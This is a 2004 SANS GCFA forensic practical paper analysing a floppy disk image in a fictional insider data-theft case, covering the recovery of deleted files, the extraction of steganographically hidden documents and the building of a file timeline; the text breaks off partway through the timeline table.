Fight crime. Unravel incidents... one byte at a time.

Copyright SANS Institute
Author Retains Full Rights

Interested in learning more?
Check out the list of upcoming events offering "Advanced Incident Response, Threat Hunting, and Digital Forensics (FOR508) at http://digital-forensics.sans.orghttp://digital-forensics.sans.org/events/
Industrial Espionage 101

And

How Not to use a Rootkit

GCFA Practical Assignment
Version 1.5

Submitted 10/5/2004

By Michael Wilson
Abstract

This is the practical assignment for the GIAC Certified Forensic Analyst Certification Program. It consists of 2 parts, designed to demonstrate my knowledge of Forensic Analysis and to provide useful information to the Information Security community at large.

Part One of this assignment is to analyze a floppy disk image and report my findings to the security administrator of a large corporation. This part of the paper is aimed at technically minded individuals who already know the background of computer systems, although not necessarily Forensics Analysis.

Part Two of this assignment is to perform a forensic analysis on a compromised system, and report my findings in such a way that they could be used in court and scrutinized by opposing counsel. This part of the assignment is specifically aimed at a jury and other members of a courtroom who may not have the background knowledge of computer systems assumed in Part One.

Because each part of this assignment is aimed at a completely different audience, and are about separate topics, I choose to treat each part as a separate paper. As required, they will be submitted in one file, but they can easily be viewed separately without losing anything.

I encourage anyone new to the field of Forensic Analysis to read Part Two first, as it gives a more in depth and slightly less dry example of how interesting the subject can be. Maybe you'll even learn something!
Industrial Espionage 101

GCFA Practical Assignment
Version 1.5

Part 1 Analysis of a floppy disk

Submitted 10/5/2004

By Michael Wilson
Table of Contents

BACKGROUND .................................................................................................................. 1

1 EXAMINATION DETAILS ............................................................................................. 1

1.1 WHAT TOOLS WERE USED .................................................................................... 1

The Sleuth Kit ................................................................................................................. 1
Autopsy ............................................................................................................................ 2
VMware .......................................................................................................................... 2
KHexEdit ......................................................................................................................... 3
mount .............................................................................................................................. 3
strings ............................................................................................................................ 3
md5sum .......................................................................................................................... 3
gunzip ............................................................................................................................ 3
file ................................................................................................................................ 3

www.google.com .......................................................................................................... 4

1.2 OBTAIN IMAGE ....................................................................................................... 4

1.3 CHRONOLOGICAL STEPS TAKEN DURING ANALYSIS ......................................... 4

Mount the disk image .................................................................................................... 4

Autopsy .......................................................................................................................... 5
Examine image for deleted files .................................................................................... 5
View strings for deleted CamShell.dll .......................................................................... 7
Google’d it ...................................................................................................................... 9
Install Camouflage on a VMware Windows system ...................................................... 9
Look at the documents ................................................................................................ 9
Check for camouflaged files inside word documents ................................................... 10
Uncamouflage Password and Remote documents using passwords ......................... 12
Briefly examine recovered files .................................................................................. 13
Re-combined files and compared to original .............................................................. 13
Compare installed copy of CamShell.dll with recovered CamShell.dll ....................... 14
Make a MAC timeline ................................................................................................ 14
Add Modify times of extracted files to MAC timeline ................................................ 14

1.4 MR. LESZCZYNSKI’S ACTIONS .............................................................................. 14

What he tried to do ....................................................................................................... 14
Did it work? .................................................................................................................. 15
What information was released? ................................................................................ 15

1.5 ADVICE TO SEE IF MR. LESZCZYNSKI TAMPERED WITH ANY OTHER SYSTEMS .................................................................................................................. 15

2 IMAGE DETAILS ...................................................................................................... 15

2.1 ALL NON-DELETED FILES ................................................................................... 15

2.2 ALL DELETED FILES ............................................................................................ 16

2.3 MAC TIMELINE OF IMAGE .................................................................................. 17

2.4 THE PROGRAM USED ............................................................................................ 22

True name of program used by Mr. Leszczynski .......................................................... 22
Keywords associated with program (show string search) ............................................. 22

3 FORENSICS DETAILS .............................................................................................. 22

3.1 PROGRAM DETAILS ............................................................................................ 22

3.2 LAST TIME USED .................................................................................................. 22

3.3 HOW IT WORKS .................................................................................................... 23

Camouflage a file ......................................................................................................... 23
Uncamouflage a file ..................................................................................................... 27

3.4 COMPARE RESULTS OF ITS USE ........................................................................ 32

Re-combined files ....................................................................................................... 32
Re-combine files again ................................................................................................ 33

4 PROGRAM IDENTIFICATION .................................................................................... 33

4.1 FIND PROGRAM ON INTERNET AND COMPILE IT .......................................... 34

4.2 COMPARE RESULTS WITH PROGRAM ON DISK (CAMSHELL.DLL) W/MD5 .......... 34
5  LEGAL IMPLICATIONS ........................................................................................................... 37
  5.1 BRIEFLY, WHAT LAWS WERE BROKEN ........................................................................... 37
  5.2 PENALTIES FOR THOSE LAWS BROKEN ........................................................................ 37
  5.3 WHAT INTERNAL POLICIES WERE BROKEN ................................................................. 38
     Acceptable Encryption Policy ............................................................................................ 38
     Information Sensitivity Policy .......................................................................................... 38
     Removal of media Policy ................................................................................................. 38
     Password Policy ................................................................................................................ 38
     Punishment ....................................................................................................................... 38

6  CONCLUSION ............................................................................................................................ 39
PUBLISHED REFERENCES ........................................................................................................ 40
WEB REFERENCES .................................................................................................................... 40
INDEX OF TABLES ................................................................................................................... 41
INDEX OF ILLUSTRATIONS ..................................................................................................... 41
INDEX OF TEXT FRAMES ......................................................................................................... 41
Background

Recently, an investigation related to lost sales and lost technical information concerning the Ballard Fuel Cell technology was initiated. During the investigation, it was discovered that a floppy disk had been confiscated from the briefcase of Robert John Leszczynski Jr. as he left the R&D lab on April 26th, 2004, at approximately 4:45 pm MST. Prior to the disk being returned to Mr. Leszczynski, the security administrator, David Keen asked me to analyze the floppy disk. An image of the disk was taken and copied to my forensics system for analysis.

The forensic system used for this analysis is a Compaq nc6000. It has a 1.6Ghz Intel Pentium 4 processor, 512 Megs of ram, and a 40Gb hard drive. The Operating System installed on the system is Red Hat Fedora Core 2 Linux, with the kernel upgraded to version 2.6.7-1.494.2.2. Every part of the forensic analysis, including writing the report, was done on this laptop.

Note: Because Part One of this assignment is based on the premise that I am writing a report for a technical person (David Keen, Security Administrator at Ballard Industries,) I will not be spending large amounts of time discussing background concepts such as File Systems, the inner workings of Autopsy or what the mount command does in its spare time. For that level of detail, please read Part Two of this assignment.

1 Examination Details

1.1. What tools were used

Throughout the analysis, I used a number of applications and programs designed with forensics analysis in mind, as well as a few common Windows and Unix utilities. Here is a brief description of the less mundane utilities I used.

The Sleuth Kit

“The Sleuth Kit”¹ is a collection of tools made by Brian Carrier. These tools make the forensic analysis of file systems possible by allowing easy access to the data within. Whether this data is about the makeup of the file system itself, or the actual information stored on an individual block, The Sleuth Kit allows an investigator to examine it in detail. Below is a brief description of the tools from The Sleuth Kit that I used directly during the analysis of the floppy image.

<table>
<thead>
<tr>
<th>Tool</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>fls</td>
<td>fls is a program used to list the file and directory names in an image, along with other important information like permissions, owner, inode, and MAC times in a special format.</td>
</tr>
<tr>
<td>mactime</td>
<td>mactime is used to parse through that data generated by programs such as fls and output something that is easily readable to a human forensics specialist. mactime takes a file written in &quot;time machine format&quot; and creates a timeline from that information, showing when files were accessed, modified, and created/deleted.</td>
</tr>
</tbody>
</table>

Table 1.1 Sleuth Kit tools used

For a more complete description, please visit the web page, [http://www.sleuthkit.org/sleuthkit/tools.php](http://www.sleuthkit.org/sleuthkit/tools.php). For even more information read “The Sleuth Kit Informer”\(^2\), Issues 1 through 15. These bi-monthly articles are an excellent source of information regarding the tools available in The Sleuth Kit, as well as forensics in general.

I used these tools to create the MAC timeline.

**Autopsy**

“Autopsy”\(^3\) is a web based graphical user interface for the tools available in The Sleuth Kit. It allows an analysis to proceed more quickly by providing a relatively simple way to carry out normal forensics tasks through a web browser. Those tasks would have to be manually typed at a command line without Autopsy. Autopsy also helps any investigation by automatically generating MD5 hashes of output, and recording everything that was done, down to the command Autopsy itself ran to provide data to the user. This logging allows easy verification of any step of an analysis done with Autopsy.

I used Autopsy to view the floppy image contents, and recover deleted files from the floppy image.

**VMware**

“VMware Workstation”\(^4\) is an application created to allow a “Virtual System” to be run on a computer, inside the current OS. On this virtual system any normal Windows or Unix/Linux OS can be installed and run, as if it were a separate computer. In my case, I use Red Hat Linux as my base OS, but through VMware, I can run a Windows XP virtual system. The best thing about VMware systems for forensics analysis is the ability to “snapshot” the system's current state, and return to it with the click of a button. This means I can run potentially damaging software on my VMware system, and then revert the OS to before the damage was done, rather than having to reinstall the entire OS.

I used VMware Workstation to run a VMware Windows XP OS. I analyzed the data recovered from the floppy image, as well as the program used to hide that data on this Virtual Machine.

---

**KHexEdit**

**KHexEdit** is a hexadecimal editor for the KDE environment. It is freely available as part of the “kdeutils” package at ftp.kde.org. This program allows a user to view and edit binary files. I used **KHexEdit** to verify that the corrupt version of a file recovered from the floppy image was the same as the version downloaded from a Web site during the analysis.

**mount**

The **mount** command is a common Unix utility used to connect data sources to a computer. Usually these data sources are partitions on a hard drive, or shared directories from other computers, but can also be disk images files or CDROM images. I used **mount** to connect the floppy disk image to my computer so I could view the files inside.

**strings**

The **strings** command is used to view ASCII text inside a file. Although it can be used to view ASCII text inside an ASCII file, its primary use is to view ASCII text inside binary files. By default, **strings** will only display ASCII strings 4 characters or more in length, but this can be changed if needed. I used **strings** to look at various binary files found or generated throughout the analysis.

**md5sum**

**md5sum**, available as part of the GNU core utilities for Linux, is a utility used to calculate an MD5 checksum (or MD5 hash) on a given piece of data. An MD5 checksum is basically a digital fingerprint of a chunk of data. As with fingerprints, no two MD5 checksums for different chunks of data are the same. I used **md5sum** to verify that the disk image I received was identical to the data on the floppy disk it was taken from.

**gunzip**

**gunzip** is a utility used to decompress files that have been compressed using the **gzip** program. It is a common method for compressing a file prior to transfer between locations. I used **gunzip** to uncompress the floppy image file I received from Mr. Keen.

**file**

**file** is a common Unix utility used to help determine what type of data is contained within a file. I used **file** to try (unsuccesfully) to determine what type of files I had recovered from the

---

5 [ftp://ftp.kde.org/pub/kde/stable/3.2.3/RedHat/Fedora2/i386/kdeutils-3.2.3-0.1.i386.rpm](http://ftp.kde.org/pub/kde/stable/3.2.3/RedHat/Fedora2/i386/kdeutils-3.2.3-0.1.i386.rpm)

floppy image.

www.google.com

This web page is the front end for arguably the best (free) web search engine on the planet. I use this search engine constantly during any analysis for one simple reason, “wheel reinvention is hard work.” If someone has already taken the trouble to compile information on a program or concept I am interested in, I see no reason not to take full advantage of their generosity!

1.2. Obtain Image

The disk data was obtained as a gzipped image file, “fl-260404-RJL1.img.gz”. Along with the file, I received some basic information about the floppy disk itself:

Floppy disk details:
- Tag# fl-260404-RJL1
- 3.5 inch TDK floppy disk
- MD5 of disk: d7641eb4da871d980adbe4d371eda2ad
- Image name: fl-260404-RJL1.img.gz

Upon receiving the image file, I uncompressed it using gunzip and double checked that the MD5 sum given to me by David Keen matched the MD5 sum generated from the file. I used a statically compiled version of the utility md5sum to generate an MD5 hash of the image file. As expected, the MD5 sums matched. I was ready to begin my analysis.

1.3. Chronological steps taken during Analysis

Mount the disk image

The first step in my analysis was to mount the floppy disk image in such a way that I could see what was on the image without accidentally affecting any of the information on the disk. To do this, I used the `mount` command with a number of special options. Here is the command and a brief description of those options:

```
/bin/mount -o loop,ro,noexec,noatime,nodev /opt/floppy/fl-260404-RJL1.img /mnt/hacked
```

<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>loop</td>
<td>Use the loopback device. This option is necessary for mount to treat a partition image as a physical disk partition.</td>
</tr>
<tr>
<td>ro</td>
<td>Read-only. This option makes it impossible to write data to the partition image. This insures the integrity of the image remains intact.</td>
</tr>
<tr>
<td>noexec</td>
<td>Do not execute. This option makes all files on the partition image un-executable. This option protects the integrity of the forensic system.</td>
</tr>
<tr>
<td>noatime</td>
<td>Don't update the access time. You'd figure “ro” was good enough, but this option must also be included so the inode access time isn't updated during analysis.</td>
</tr>
</tbody>
</table>
### Table 1.2 Mount options

<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>nodev</td>
<td>Ignore device files. This option instructs the OS to ignore all device files on the partition image. This is also more for the protection of the forensic system rather than the partition image.</td>
</tr>
</tbody>
</table>

After mounting the image, I changed to the directory and looked around, to get an idea of what I was up against.

```
[boingo: /mnt/hacked]$ ls -al
total 651
drwxr-xr-x 6 root root 4096 Aug 28 21:58 ..
-rw-r-xr-x 1 root root 22528 Apr 23 14:10 Acceptable_Encryption_Policy.doc
-rw-r-xr-x 1 root root 42496 Apr 23 14:11 Information_Sensitivity_Policy.doc
-rw-r-xr-x 1 root root 32256 Apr 22 16:31 Internal_Lab_Security_Policy1.doc
-rw-r-xr-x 1 root root 33423 Apr 22 16:31 Internal_Lab_Security_Policy.doc
-rw-r-xr-x 1 root root 307935 Apr 23 11:55 Password_Policy.doc
-rwxr-xr-x 1 root root 215895 Apr 23 11:54 Remote_Access_Policy.doc
[boingo: /mnt/hacked]$
```

### Text 1.1 File listing

I didn't have a Windows system immediately available, so I couldn't easily look at the word documents. I could look at them using `cat` or `vi`, but I already assumed there wouldn't be a lot of obvious wrong doing or the disk image wouldn't have gotten to me, so I skipped that step for now. Though unlikely, it was also possibly dangerous to view the file using something like OpenOffice\(^7\), (a Linux Open Source version of Microsoft Office.) It is conceivable some new virus would be released on my system that would at the very least invalidate my findings, and at worst, destroy the OS on the system completely. I continued the analysis.

### Autopsy

Next, I wanted to see the details of the disk image. More than just a listing of the visible files, I wanted to check for any deleted files, and view data on the disk not referenced by any inode. For this I used Autopsy.

Setting up the floppy disk image in Autopsy is relatively straightforward, and won't be covered. After filling out a few bits of information, the disk image was ready to be analyzed. With Autopsy, I had a few choices of what to look at next. I chose the File Analysis option. This would show me current and deleted files available on the disk image.

### Examine image for deleted files

One of the first things shown on the File Analysis tab is a list of all the files, current and deleted, on the disk image. As shown here, the two deleted files were immediately obvious, written in red.

---

\(^7\) [http://www.openoffice.org/](http://www.openoffice.org/)
The data from these deleted files was also easily viewable with Autopsy. Just clicking on the deleted file name “_ndex.htm” displayed the data in the deleted file.

Illustration 1.1 Autopsy view of floppy image
A cursory examination was all that was necessary to determine that “_ndex.htm” was probably originally named “index.htm” and was part of a web page. The contents showed nothing special, so the file was basically ignored.

However, the other deleted file showed much more promise. “CamShell.dll” was definitely out of place on a floppy disk full of word documents. A view of the file data in the file was a bit of a let down though. The beginning of the file had been overwritten by the deleted “index.htm” file. There was no way the file would be useful in its current state.

I used the “Export” function of Autopsy and saved both files in a directory on my forensics system.

View strings for deleted CamShell.dll

After recovering the files, I took a closer look at the “CamShell.dll” file. Because the beginning of the file was corrupt, the `file` utility reported that the file was an HTML document, even though I knew better.

```
[boingo: ~/fl-aut/output/recovered]$ file CamShell.dll
CamShell.dll: HTML document text
```

Next, I extracted all of the ASCII strings from the file, using the utility `strings`, which
comes standard with most Linux OS's. There were quite a few strings found in the “CamShell.dll” file. Here is the abbreviated output of the `strings` command. “....” denoted deleted sections of the output.

```
[boingo: ~/fl-aut/output/recovered]$ strings -a CamShell.dll

<HTML>
<HEAD>
<meta http-equiv=Content-Type content="text/html; charset=ISO-8859-1">
<TITLE>Ballard</TITLE>
....
ll\SheCamouflageShell
ShellExt
VB5!
CamShell
BitmapShellMenu
CamouflageShell
CamouflageShell
Shell_Declares
Shell_Functions
ShellExt
modShellRegistry
kernel32
lstrcpyA
lstrlenA
ole32.dll
CLSIDFromProgID
StringFromGUID2
ReleaseStgMedium
shell32.dll
....
VBA6.DLL
....
Class
C:\WINDOWS\SYSTEM\MSVBVM60.DLL\3
VBRUN
FIShellExtInit
C:\My Documents\VB Programs\Camouflage\Shell\IctxMenu.tlb
....
stdole2.tlbWWW
IctxMenu.tlbWWW
1CamouflageShellW
_ShellExtWWWd
_ShellExt
....
[boingo: ~/fl-aut/output/recovered]$
```

### Text 1.3 Strings of CamShell.dll

The first section of output is obviously the corrupt section of the file. Immediately after the corruption ended, the strings become very useful. The non-corrupt first string “ll\SheCamouflageShell” points to the original purpose of the file. Many other interesting strings are also found, all giving me a good idea of what to search for on the Internet. Here is a list of keywords and phrases I would be using throughout my analysis to find information associated with “CamShell.dll”: 
Google'd it

Next, I used the penultimate forensic analysis utility “www.google.com”. A quick search using some of my keyword list found a few web references to research. The most notable item found was a SANS paper titled “Steganography: The Ease of Camouflage”\(^8\). This paper was fairly interesting, and had references to Windows Registry entries containing “CamouflageShell” and to the program that had created those entries. That program was called (oddly enough), “Camouflage” and was freely available at “http://camouflage.unfiction.com”.

According to the web site, Camouflage is used to encrypt and hide target files within other (host) files. Once hidden, the target file would be basically undetectable to the average user, and would be unreadable even if detected. The host file would behave exactly like it did before the target file was attached. According to the FAQ, the only problem would be that the host file would be larger than before (which makes sense, considering Camouflage attaches data to it.)

The current version of Camouflage was “Camouflage v1.2.1” and was a Windows executable, compatible with Windows OS’s from 95 through XP. I downloaded this program, and proceeded to the next step of my analysis.

Install Camouflage on a VMware Windows system

The next step was to fire up a VMware Workstation Windows XP system and try out the Camouflage program myself. Once my VMware system started up, I copied the documents from the floppy image, and the Camouflage software from the Internet on to the VMware system. I then took a snapshot of the VMware system so I could revert to a known good version of the OS as needed.

Look at the documents

Briefly viewing the word documents using the Microsoft application, wordpad, I found nothing of interest in the text of the documents. The only thing of note was that the documents, “Password_Policy.doc” and “Remote_Access_Policy.doc” were much bigger than they should have been, given the amount of text I saw using wordpad. The other document files with similar amounts of text were only 32kb, while those two documents were over 200kb in size. Obviously something was up with those 2 files, but what remained to be seen.

\(^8\) http://www.sans.org/rr/papers/20/762.pdf
Check for camouflaged files inside word documents

Next, I installed the Camouflage program, and used the program on the document files. Camouflage turned out to be very easy to use. Right click on a file, and select “Uncamouflage” and the utility starts, and asks you for the password needed to extract any hidden files that may exist.

![Illustration 1.3 Camouflage Password Request Window](image)

To protect camouflaged files from casual detection, Camouflage does not reveal the presence of protected files when it is called. The password query window shows up whether a password is required or not, and even whether or not anything is hidden at all. Sort of a nice feature actually!

Because of this, the only thing I could do was try each file one at a time for anything hidden that didn't require a password. Both of the overly large documents revealed nothing, but the “Internal_Lab_Security_Policy.doc” did have a hidden document inside that did not require a password to extract.
I extracted both “Opportunity.txt” and the original version of “Internal_Lab_Security_Policy.doc” and looked at both files. As expected, the document file looked the same, but “Opportunity.txt” was very interesting! After copying the file back to the base OS, I listed the text inside the file.

```
[boingo: /opt/share/extracted]$ cat Opportunity.txt
I am willing to provide you with more information for a price. I have included a sample of our Client Authorized Table database. I have also provided you with our latest schematics not yet available. They are available as we discussed - “First Name”.
My price is 5 million.
Robert J. Leszczynski
```

Text 1.5 Contents of Opportunity.txt

Besides the fact that the text inside doesn't bode very well for Mr. Leszczynski, I was interested in the line, “They are available as we discussed - 'First Name'.” This may help find
out what is inside the two overly large files. That's what I was going to try next.

Uncamouflage Password and Remote documents using passwords

Given the clue “First Name” from the text document, I tried a number of first names with various capitalization, including “Robert”, “Ballard”, and “Rift”. When those failed, I thought for a moment and tried “Password”. Bingo!

I extracted these files, and continued. Using “Remote” on the “Remote_Access_Policy.doc” file also revealed more hidden files.
Once again, I extracted the camouflaged files, and continued my analysis.

**Briefly examine recovered files**

I looked briefly at the recovered files, but did not delve too deeply in case the data was restricted. Presumably if I was asked to analyze the floppy image I was also authorized to view proprietary data I may find, but I decided it was better not to take chances. The graphic files were indeed pictures of data that seemed to be related to batteries, and the “.mdb” file was a Microsoft Access database containing names and contact information. The database was most likely the Client Authorized Table sample mentioned in “Opportunity.txt”.

Just to be thorough, I ran Camouflage on the extracted files to see if there were any files hidden inside those files. However, using blank, the name of the individual files, and the names of the files they were originally hidden in as passwords revealed nothing.

**Re-combined files and compared to original**

I wanted to see if the files would recombine in such a way as to give an exact duplicate of the original files, so that's what I tried next. The process will be covered in section 3.4, but in
short, it failed. Although the file sizes of the re-hidden files were exactly the same as the files from the floppy image, the MD5 hashes were different.

I tried the recombine again, and again got files with different MD5 hashes than either previous file, but the same file size.

**Compare installed copy of CamShell.dll with recovered CamShell.dll**

Next, I tried to determine if the version of Camouflage I used was the same version that Mr. Leszczynski left on his floppy image. Again, the process will be covered in depth later in this paper (section 4.2). Basically, I took the corrupt CamShell.dll file from the floppy image, figured out where the corruption ended, and copied the corrupt part of the file onto the version of CamShell.dll that came with my version of Camouflage. I then compared MD5 sums of both files. They matched.

**Make a MAC timeline**

I wanted to see what information I could gather on the timeline of events surrounding the floppy disk, and the files I had found. To do this, I created a timeline of Modify, Access, and Change times for all the files on the floppy image. This step was done using the tools available in “The Sleuth Kit”. The full description of this process and the timeline itself will be presented in section 2.3.

**Add Modify times of extracted files to MAC timeline**

Neither the file system used on the floppy disk (FAT12) or the file system used on my VMware Windows system (NTFS) update the Modify times of a file when it is copied. Also, Camouflage records the original timestamps of files it encrypts and hides and restores these times when the hidden file is extracted. Because of this, the modification and creation times of the extracted files are actually valid, and could be useful during a timeline analysis. I used a Windows Command Shell and the `dir` command to list the creation and modification times of the files. From there, I manually added these times to the main MAC timeline.

Since the Access times wouldn't be terribly helpful during this investigation, I did not include those timestamps in the main timeline.

### 1.4. Mr. Leszczynski's Actions

**What he tried to do**

From the information gathered, it appears that Mr. Leszczynski was trying to sell proprietary Ballard Industries technical information, along with part or all of the Ballard Industries customer contact database. He smuggled this data out of the R&D lab where he worked by using the program “Camouflage” to encrypt and hide these data files inside other seemingly harmless documents. Since this floppy was confiscated by security, it is likely that Mr. Leszczynski either found another method for transferring files out of the lab, such as email, or made multiple attempts to remove the data via floppy disk. He also could have used some other form of media that is not so well guarded, such as a USB Flash drive device, DAT tape, or
CDROM. In my experience, even facilities that have supposedly strictly enforced policies about removal of data do little more than a cursory check for obvious transgressions.

Did it work?

In short, yes.
Since the CamShell.dll file was copied to the floppy disk on April 26th 2004, it is likely that Camouflage has been inside the R&D lab since before that time. Also, from the simple fact that customers have stopped placing orders with Ballard Industries and a major competitor, Rift Inc. is now producing batteries using a design that was once unique to Ballard, it is very obvious that Mr. Leszczynski succeeded in leaking this information. A check of Mr. Leszczynski's spending habits and bank records is recommended to see if and when a large sum of money suddenly appeared in Mr. Leszczynski's accounts.

What information was released?

The hidden files recovered from the floppy image appear to be design information for a fuel cell, and part of a customer database with contact information for a number of Ballard Industries clients. Without knowing more about fuel cell technology, I couldn't say whether the data was relevant to the Ballard Fuel Cell design, but it is probably safe to assume it was, given the other facts surrounding the case.

1.5. Advice to see if Mr. Leszczynski tampered with any other systems.

CamShell.dll was copied to the floppy disk on April 26th 2004. Since the executable, camouflage.exe is not on the floppy disk, it is reasonable to assume both files are or were located somewhere on the local system Mr. Leszczynski used to conduct his industrial espionage. Look for CamShell.dll, or any other file particular to the installation and use of Camouflage on any system Mr. Leszczynski may have had access to. If any of these files are found, then Mr. Leszczynski set that system up to camouflage files. Also, check for files that are obviously the wrong size for the apparent data they contain. These files may still contain Camouflaged data that can be extracted to help determine what else Mr. Leszczynski did.

2 Image Details

2.1 All non-deleted files

The floppy disk image contained a number of non-deleted files. Here is a list of those files, along with size and MD5 hashes.

<table>
<thead>
<tr>
<th>File Name</th>
<th>Size (bytes)</th>
<th>MD5</th>
</tr>
</thead>
<tbody>
<tr>
<td>Acceptable_Encryption_Policy.doc</td>
<td>22528</td>
<td>f785ba1d99888e68f45dabeddb0b4541</td>
</tr>
<tr>
<td>Information_Sensitivity_Policy.doc</td>
<td>42496</td>
<td>99c5dec518b142bd945e8d7d2f4d12004</td>
</tr>
<tr>
<td>Internal_Lab_Security_Policy1.doc</td>
<td>32256</td>
<td>e0c43ef38884662f5f27d93098e1c607</td>
</tr>
</tbody>
</table>
A floppy disk is written using the FAT12 File System. This type of filesystem has no concept of User and Group IDs (UID/GID), or Access Control Lists (ACLs) for files. Because of this, whatever Linux command is used to view or mount the files basically makes this information up. It uses the current user/group, or the user/group that executed the command. Since the floppy image was accessed using the `mount` command, and that command was run by root (UID/GID=0), all the files would show up as owned by root. Since this data isn’t useful, I did not list it in any table.

Here is a screen shot of these MD5 hash sums generated.

Illustration 2.1 MD5 Sums of Floppy Image files

### 2.2 All deleted files

The disk image also contained two deleted files that were successfully recovered using Autopsy in Section 1.3.3. Here is a list of the files recovered, along with size and MD5 hashes.

<table>
<thead>
<tr>
<th>Recovered File Name</th>
<th>Size (bytes)</th>
<th>MD5</th>
</tr>
</thead>
<tbody>
<tr>
<td>CamShell.dll</td>
<td>36864</td>
<td>6462fb3acca0301e52fc4fafa4ea5eff8</td>
</tr>
<tr>
<td>index.htm</td>
<td>727</td>
<td>17282ea308940c530a86d07215473c79</td>
</tr>
</tbody>
</table>

Table 2.2 Recovered Files from Floppy Image

Again, here is a screen shot of the md5 hash sums generated.
2.3 MAC timeline of image

Floppy disks use the FAT12 file system. This file system has 3 times associated with each file. These are the last time the file data was (M)odified, the last time the file data was (A)ccessed, and the time the file was (C)reated. These timestamps are usually referred to as the MAC times.

Each file system type updates these timestamps for slightly different reasons. On a FAT12 file system, the Modified time is only changed when the file data is actually modified, not when the file is copied to a new location (the floppy disk, for instance). The Created timestamp is updated when a file is created, or copied to a new physical location. The Access timestamp is updated when ever the file data is accessed (looked at).

Something to note however, is that on a FAT12 file system the Access timestamp is actually an Access date stamp. The time of day the file was accessed is not actually recorded. This irritatingly less documented feature can be verified by a few simple tests, or browsing the Internet in search of corroborating evidence for hours. Also noteworthy (though not very interesting) is the fact the the Modify time on a FAT12 file system is only accurate to 2 seconds. Luckily this won't hinder the analysis in the slightest. The last “nice to know” informational tidbit is that when a file is deleted on a FAT12 file system, none of the timestamps are updated.

Although these timestamps are relatively easy to modify with commands such as touch, it is difficult for even the most computer savvy to completely hide his tracks by reverting every single file accessed or modified back to its original timestamp. For this reason, a timeline that shows MAC times in chronological order can be very helpful during a forensic analysis.

The MAC timeline was created using commands available as part of “The Sleuth Kit”¹⁰, a well known group of utilities used in forensics analysis. The first step to creating a MAC timeline was to run the utility fls on each disk image I was interested in. fls is a program used to list the file and directory names in an image, along with other important information like permissions, owner, inode, and MAC times in a special format. Here is an example of the commands used and a short description of the options.

```
fls -m 'a:' -f fat12 -r fl-260404-RJL1.img >> example-body
```

---

9 Information on this can be found in bits an pieces on the Internet. The best references are at http://mkssoftware.com/docs/man5/struct_stat.5.asp and http://www.mail-archive.com/rsync@samba.org/msg00151.html

10 http://www.sleuthkit.org/sleuthkit/desc.php
<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>-m 'a:'</td>
<td>Display the files in “time machine format”. This allows the output to be merged with output from other utilities before being run through mactime to get a human readable format. The files will be printed as though they are mounted at “a:” (meaning it will look like a dos floppy in drive A.)</td>
</tr>
<tr>
<td>-f fat12</td>
<td>What type of file system the image is; in this case, a FAT12 floppy disk image</td>
</tr>
<tr>
<td>-r</td>
<td>Recursively list all files in the image.</td>
</tr>
<tr>
<td>fl-260404-RJL1.img</td>
<td>Use the “fl-260404-RJL1.img” image file</td>
</tr>
<tr>
<td>&gt;&gt; example-body</td>
<td>Append the output to the end of the file “example-body”</td>
</tr>
</tbody>
</table>

Table 2.3 fls options

Next, mactime can be used to parse through that data and output something that is easily readable to a human forensics specialist. mactime takes a file written in “time machine format” and creates a timeline from that information. Here is the command and an explanation of the options used.

`mactime -d -z MST -b example-body > full-timeline.csv`

<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>-d</td>
<td>Output the timeline in CSV format so it can be imported into a spreadsheet easily.</td>
</tr>
<tr>
<td>-z MST</td>
<td>Specify the timezone of the image. In this case MST, Mountain Standard Time.</td>
</tr>
<tr>
<td>-b example-body</td>
<td>Use the body file “example-body” created using ils and fls in the previous examples.</td>
</tr>
<tr>
<td>&gt; full-timeline.csv</td>
<td>Output everything to the file “timeline”</td>
</tr>
</tbody>
</table>

Table 2.4 mactime options

The next step to the timeline creation is unique to this particular investigation. The files extracted using Camouflage retained their original Modify and Create timestamp if I extracted them to an NTFS or FAT12 partition. This meant I had to extract the files to the local disk on my VMware Windows system and manually gather the M and C times. Since there was only 16 entries, it just wasn’t worth the effort of finding a tool to automatically gather this data. Instead, I used the good old fashioned `dir` command that comes with the cmd shell provided with Windows XP. `dir` allows a command line option “/t:” followed by either “C” for create times, “W” for last written (Modify) times, or “A” for last Access times. Using the “C” and “W” options, I was able to list the timestamps I required. Because NTFS file systems store timestamp information in GMT time, and convert to the local Timezone for display, I had to first change the timezone on my VMware system to MST before running the commands. Here are the results of those commands.

Page 18
Since there were only 16 times, I manually integrated them with the full timeline previously generated.

Timeline output can be read easily if you know how. Here is a short explanation of the columns:

- **Date:** The date and time a file was changed. Duplicate Date entries were removed for ease of reading.
- **Size:** The size in bytes of the file.
- **Type:** Which timestamp was changed. (M)odify, (A)ccess, or (C)reated.
  - When a file is created or copied to a new physical location, the Create time is updated.
  - When a file is read, or when an executable file is run, the Access date is updated.
  - When a files data is modified (but not when its copied) the Modify time is updated.
- **Mode:** The file permissions. On a FAT12 file system (a DOS floppy disk) there are no file permissions ACLs, so full permissions are assumed.
- **UID/GID:** The Owner and Group of the file. When possible, *mactime* finds the

Illustration 2.3 Create times for Uncamouflaged files

Illustration 2.4 Modify times for Uncamouflaged files
actual user name associated with the UID/GID numbers, and writes those names. In the case of a FAT12 file system there are no User or Groups associated with the files, so the UID/GID “0” is assumed.

- **Meta:** The inode number where the metadata for the file is written.
- **File Name:** The file name and path. In the case of a FAT12 file system, the shortened DOS format file name is also shown, when possible.

**Note:** Because FAT12 file systems do not have Mode, UID, or GID information stored on them, any information shown in these columns is assumed by `mactime` and is not useful. For that reason, Mode, UID, and GID will not be shown.

**Note 2:** MAC information for the extracted files are bold for easy viewing. The inode (Meta) information for those files was extraneous, and has been removed.

<table>
<thead>
<tr>
<th>Date</th>
<th>Size</th>
<th>Type</th>
<th>Meta</th>
<th>File Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sat Feb 03 2001 19:44:16</td>
<td>36864</td>
<td>m.. 5</td>
<td>a:/CamShell.dll (_AMSHELL.DLL) (deleted)</td>
<td></td>
</tr>
<tr>
<td>Thu Apr 22 2004 15:57:00</td>
<td>184320</td>
<td>..c</td>
<td>-</td>
<td>CAT.mdb</td>
</tr>
<tr>
<td>Thu Apr 22 2004 16:30:00</td>
<td>32256</td>
<td>..c</td>
<td>-</td>
<td>Internal_Lab_Security_Policy.doc</td>
